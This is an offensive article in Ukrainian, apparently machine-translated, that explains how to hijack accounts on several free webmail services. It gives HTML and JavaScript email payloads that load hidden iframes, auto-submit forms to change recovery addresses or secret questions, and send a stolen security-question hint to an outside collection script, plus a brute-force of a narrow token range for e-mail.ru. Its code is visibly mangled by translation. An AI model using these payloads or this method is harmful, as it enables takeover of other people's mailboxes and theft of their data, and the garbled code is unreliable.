ОГЛЯД вразливих БЕЗКОШТОВНИХ ПОШТОВИХ СЕРВІСІВ

WWW.MAIL.RU

Почну з пошти №1 в Росії. На даний момент, завдяки пропускання JavaScript і одну помилку розробників, злом цього ящика здійснити можна. Вважаю, що основні принципи загальновідомі. Як отримати пароль? 1 - несанкціоновано змінити його. Не мине, потрібно знати раніше встановлений. 2 - поміняти секретне питання і скористатися службою боротьби з амнезією. Теж не пройде. 3 - встановити свій альтернативний Email, щоб отримати на нього новий, згенерований системою пароль. Чи не вийде, останні дві вишеперчісленних опції знаходяться в одній формі і також захищені паролем. Навіть інші, що представляють для нас менший інтерес настройки (Ім'я, прізвище і тд) тепер без введення поточного пароля змінити не вдасться. Здавалося б варіантів немає. Проте є такий другорядний за важливістю, непримітний розділ налаштувань "Контактна інформація" (ICQ, сайт, телефон, місце роботи, часовий пояс і тд). У цьому розділі можна також вказати контактний Email. Весь фокус у тому, що при цьому в реєстраційній інформації альтернативну адресу змінюється але той, що прописаний в анкеті, і тепер можна отримати пароль на мило, скориставшись службою нагадування. Все просто. URL: http://win.mail.ru/cgi-bin/anketa?page=2&[email protected] Правда методом GET зміну налаштувань в ящику mail.ru тепер зробити не можна, тому детально опишу технічну сторону питання.

I. Відсилаємо на потрібний ящик лист з кодом, який згенерує безпосередньо в тілі листа фрейм з посиланням на наш сайт. По можливості скрипт повинен спрацьовувати без будь-якої участі користувача (натискання, клік, наведення мишкою, завантаження зображення і тд):

 <Embed src = "javascript: document.getElementById ( 'xxx'). InnerHTML = '<iframe src = http: //yoursite.yourdomain.ru/yourscript.html> </ iframe>'; this.wav">
 <P id = 'xxx'>

 <Embed src = "javascript: status = location; document.getElementById ( 'xxx'). InnerHTML = '<iframe src = http: //yoursite.ru/yourscript.html width = 0 height = 0> </ iframe>' ; this.wav "width = 0 height = 0>
 <P id = 'xxx'>

 <Form method = "post" action = "http://win.mail.ru/cgi-bin/anketa" name = "anketa"> <br>
 <Input type = "hidden" name = "page" value = "2"> <br>
 <Input type = "hidden" name = "Email" value = "[email protected]"> <br>
 <Input type = "hidden" value = "Зберегти" name = "Save"> <br>
 </ Form> <br>
 <Script> <br>
 document.anketa.submit (); <br>
 </ Script>

WWW.MAIL.COM

 <Style> @import url (javascript: document.getElementById ( 'out'). InnerHTML = "<iframe src = http: //mail01.mail.com/scripts/common/genprofile.cgi name = 'zero'% 6FnLoad = `str = document.zero.profileform.hint_a.value; path = 'http: //zero.h12.ru/stat/capt.php?'; document.zero.location = path + str`> </ iframe>" ); </ style>
 <Span id = 'out'> </ span>

WWW.NEWMAIL.RU

 <Iframe src = http: //newmail.ru/users/chpass.dhtml? Cp_msg = 1 & cp_quest = ПИТАННЯ & cp_answ = ВІДПОВІДЬ width = 0 height = 0> </ iframe> 

WWW.E-MAIL.RU

Метод злому e-mail.ru дещо не вписується в загальну тематику статті, але все ж - пошта . Коли мені було потрібно отримати пароль від одного ящика, я як зазвичай зареєстрував собі аккаунт і почав досліджувати систему. Перше, що впало в очі - можливість встановити новий пароль і секретне питання з відповіддю, без введення старого пароля. План дій звичайний: перевірити фільтрацію тегів, отримати ID і виконати запит. Однак для зміни налаштувань використовувалася спеціальна змінна utoken, яка міститься в тілі документа. Поекспериментувавши зі зміною питання і відповіді із заздалегідь відомою utoken:
http://www.e-mail.ru/scripts/netauth.dll?cmd=passwd2&show=passwd.tpl&[email protected]&show=passwd.tpl&pass=&repass=&pquestion=ВОПРОС&panswer=ОТВЕТ я прийшов до висновку, що ID і cookies для зміни налаштувань не потрібно. При цьому, після спостереження за utoken, виявилося що чотиризначний шестнадцатиричное число після адреси пошти [email protected] лежить в дуже вузькому діапазоні. А саме, щоб встановити секретний питання з відповіддю на будь-яку відповідну нас ящику, потрібно перебрати всього 7 варіантів: 5a00, 5b00, 5c00, 5d00, 5e00, 5f00, 6000. Коли число буде вгадано, ми потрапимо в потрібний ящик.

Примітки: на даний момент відбулися деякі зміни. Служба відновлення паролів не працює, тому доцільно відразу його змінювати. Адреса зміни настройки теж змінився:
http://www.e-mail.ru/scripts/netauth.dll?cmd=passwd2&show=passwd.tpl&[email protected]&[email protected]&show=passwd.tpl&pass=&repass=&pquestion=ВОПРОС&panswer=ОТВЕТ Спосіб працює не завжди. Ймовірно, все-таки потрібно, щоб користувач час від часу заходив в пошту через web.

Таблиця з характеристиками безкоштовних WWW-серверів